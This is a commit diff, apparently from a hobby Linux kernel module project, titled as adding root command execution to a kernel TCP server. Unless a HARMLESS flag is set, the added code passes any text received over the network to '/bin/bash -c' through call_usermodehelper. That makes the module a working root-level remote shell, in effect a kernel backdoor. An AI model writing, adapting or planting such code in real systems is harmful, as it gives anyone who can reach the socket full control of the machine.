Adding call_usermodehelper to input commands as root

dev_vlr
Valentin Lechner 5 years ago
parent 3abccec17e
commit 4aa1387a89

@ -31,9 +31,19 @@
/**** includes ***************************************************************** /**** includes *****************************************************************
*******************************************************************************/ *******************************************************************************/
#include "50ck3t.h" #include "50ck3t.h"
#ifdef HARMLESS
#else
#include <linux/init.h>
#endif
/**** types ******************************************************************* /**** types *******************************************************************
*******************************************************************************/ *******************************************************************************/
#ifdef HARMLESS
#else
static char *SEnvP[] = {
"HOME=/",
NULL
};
#endif
struct tcp_conn_handler_data{ struct tcp_conn_handler_data{
struct sockaddr_in *FAddress; struct sockaddr_in *FAddress;
struct socket *FAcceptSocket; struct socket *FAcceptSocket;
@ -178,7 +188,6 @@ int connection_handler(void *AData){
unsigned char LInBuf[LLen+1]; unsigned char LInBuf[LLen+1];
unsigned char LOutBuf[LLen+1]; unsigned char LOutBuf[LLen+1];
DECLARE_WAITQUEUE(recv_wait, current); DECLARE_WAITQUEUE(recv_wait, current);
allow_signal(SIGKILL|SIGSTOP); allow_signal(SIGKILL|SIGSTOP);
@ -221,6 +230,7 @@ int connection_handler(void *AData){
LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\ LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
MSG_DONTWAIT); MSG_DONTWAIT);
if(LRet > 0){ if(LRet > 0){
#ifdef HARMLESS
if(memcmp(LInBuf, "HOLA", 4) == 0){ if(memcmp(LInBuf, "HOLA", 4) == 0){
memset(LOutBuf, 0, LLen+1); memset(LOutBuf, 0, LLen+1);
strcat(LOutBuf, "HOLASI"); strcat(LOutBuf, "HOLASI");
@ -236,6 +246,14 @@ int connection_handler(void *AData){
strlen(LOutBuf), MSG_DONTWAIT); strlen(LOutBuf), MSG_DONTWAIT);
break; break;
} }
#else
int Ret;
printk(LInBuf);
char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL};
printk("Calling usermodehelper");
Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC);
printk("\nRet is %i \n", Ret);
#endif
} }
} }
@ -309,10 +327,8 @@ int tcp_server_accept(void){
__set_current_state(TASK_RUNNING); __set_current_state(TASK_RUNNING);
remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait); remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
pr_info("accept connection\n");
LAcceptErr = LAcceptErr = LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
if(LAcceptErr < 0){ if(LAcceptErr < 0){
pr_info(" *** mtp | accept_error: %d while accepting " pr_info(" *** mtp | accept_error: %d while accepting "
@ -326,9 +342,8 @@ int tcp_server_accept(void){
addr_len = sizeof(struct sockaddr_in); addr_len = sizeof(struct sockaddr_in);
LAcceptErr = LAcceptErr = LAcceptSocket->ops->getname(LAcceptSocket,
LAcceptSocket->ops->getname(LAcceptSocket,\ (struct sockaddr *)LClient,
(struct sockaddr *)LClient,\
&addr_len, 2); &addr_len, 2);
if(LAcceptErr < 0){ if(LAcceptErr < 0){

Loading…
Cancel
Save